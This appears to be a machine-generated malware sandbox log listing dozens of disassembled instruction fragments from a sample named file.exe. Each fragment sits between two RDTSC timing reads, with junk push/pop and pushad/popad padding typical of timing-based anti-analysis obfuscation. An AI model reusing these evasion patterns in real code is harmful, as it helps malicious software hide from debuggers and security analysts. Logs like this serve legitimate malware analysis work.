Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319502 second address: 31953E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF246Dh 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pushad 0x0000000e jmp 00007F625CDF246Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F625CDF2478h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31953E second address: 319544 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3197D3 second address: 3197E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF246Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3197E9 second address: 3197FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F625CED05BDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3197FF second address: 31982D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F625CDF2479h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F625CDF246Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31982D second address: 31983F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F625CED05B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31983F second address: 319843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319DB7 second address: 319DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CED05BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319DCA second address: 319DCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A601 second address: 31A60C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F625CED05B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A923 second address: 31A93D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F625CDF2466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jg 00007F625CDF2466h 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A93D second address: 31A942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AC6B second address: 31AC70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AFC2 second address: 31AFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31ED20 second address: 31ED26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31ED26 second address: 31ED3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F625CED05BBh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31EE68 second address: 31EE6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31EE6C second address: 31EE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31EE78 second address: 31EE7E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31EE7E second address: 31EE89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F625CED05B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31EE89 second address: 31EE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF246Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F19F second address: 31F1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F43A second address: 31F43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F43E second address: 31F446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F446 second address: 31F469 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F625CDF246Ah 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F625CDF2471h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F469 second address: 31F46F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323AA9 second address: 323AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323AAD second address: 323ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F625CED05B8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323ABD second address: 323AD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32C69B second address: 32C69F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32A965 second address: 32A9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF2473h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c ja 00007F625CDF247Bh 0x00000012 jmp 00007F625CDF2473h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b js 00007F625CDF2466h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32A9A2 second address: 32A9A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32A9A6 second address: 32A9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32AC8E second address: 32AC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F625CED05B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32AC98 second address: 32AC9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32AC9C second address: 32ACA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32ACA6 second address: 32ACB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F625CDF2466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32ACB0 second address: 32ACB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32ACB4 second address: 32ACD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jbe 00007F625CDF2496h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F625CDF2471h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32ACD6 second address: 32ACDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32B0FE second address: 32B11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF2477h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32B11B second address: 32B122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32B122 second address: 32B129 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32B129 second address: 32B133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32B3EB second address: 32B3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32BE14 second address: 32BE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32BE1A second address: 32BE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F625CDF2470h 0x0000000d pop edx 0x0000000e ja 00007F625CDF2472h 0x00000014 jng 00007F625CDF2466h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32C516 second address: 32C51C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331F79 second address: 331F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F625CDF246Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331B27 second address: 331B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331B43 second address: 331B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CDF246Bh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331CBC second address: 331CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F625CED05B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341613 second address: 341636 instructions: 0x00000000 rdtsc 0x00000002 je 00007F625CDF2466h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f jo 00007F625CDF2466h 0x00000015 pop eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jno 00007F625CDF2466h 0x0000001f pop edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341636 second address: 34163E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 343260 second address: 343282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CDF246Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F625CDF246Dh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34A941 second address: 34A945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35167B second address: 351696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F625CDF246Dh 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jnl 00007F625CDF2466h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 351696 second address: 35169B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 352D0C second address: 352D11 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 354E9A second address: 354EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 354EA5 second address: 354EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 354EAB second address: 354ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CED05BCh 0x00000009 popad 0x0000000a jmp 00007F625CED05C1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 354ECD second address: 354ED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35D416 second address: 35D423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F625CED05B8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35D423 second address: 35D42D instructions: 0x00000000 rdtsc 0x00000002 je 00007F625CDF2479h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35BF8E second address: 35BFB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F625CED05C6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35C12E second address: 35C140 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F625CDF246Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35C140 second address: 35C159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007F625CED05C8h 0x0000000b jmp 00007F625CED05BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35C27A second address: 35C284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 360DB3 second address: 360DB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 360DB7 second address: 360DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F625CDF2466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 360DC9 second address: 360DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36D502 second address: 36D506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36D506 second address: 36D50A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36D50A second address: 36D513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36D513 second address: 36D529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F625CED05C1h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36D529 second address: 36D54E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F625CDF2466h 0x00000010 jmp 00007F625CDF2475h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374475 second address: 374482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F625CED05BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374482 second address: 374490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007F625CDF2466h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 374490 second address: 374494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36BD74 second address: 36BD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F625CDF2466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36BD7E second address: 36BD92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36BD92 second address: 36BDC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Fh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F625CDF246Eh 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36BDC0 second address: 36BDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2812A5 second address: 2812C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F625CDF2466h 0x00000010 jc 00007F625CDF2466h 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007F625CDF2466h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3817C9 second address: 3817D3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F625CED05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38137F second address: 3813A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2477h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F625CDF246Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3813A4 second address: 3813A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399574 second address: 39957A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3996FA second address: 399702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399702 second address: 399706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399706 second address: 39970A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39970A second address: 399714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3999AD second address: 3999BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F625CED05BAh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3999BC second address: 3999DE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F625CDF247Bh 0x00000008 jmp 00007F625CDF2473h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399F9B second address: 399FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F625CED05C8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399FB9 second address: 399FBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39CEF3 second address: 39CEFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D1FE second address: 39D298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jno 00007F625CDF2468h 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F625CDF2477h 0x00000014 nop 0x00000015 mov dh, ah 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F625CDF2468h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D31CFh], ecx 0x00000039 call 00007F625CDF2469h 0x0000003e pushad 0x0000003f jmp 00007F625CDF246Eh 0x00000044 push edx 0x00000045 jg 00007F625CDF2466h 0x0000004b pop edx 0x0000004c popad 0x0000004d push eax 0x0000004e push ebx 0x0000004f jmp 00007F625CDF2470h 0x00000054 pop ebx 0x00000055 mov eax, dword ptr [esp+04h] 0x00000059 push eax 0x0000005a push edx 0x0000005b jng 00007F625CDF246Ch 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
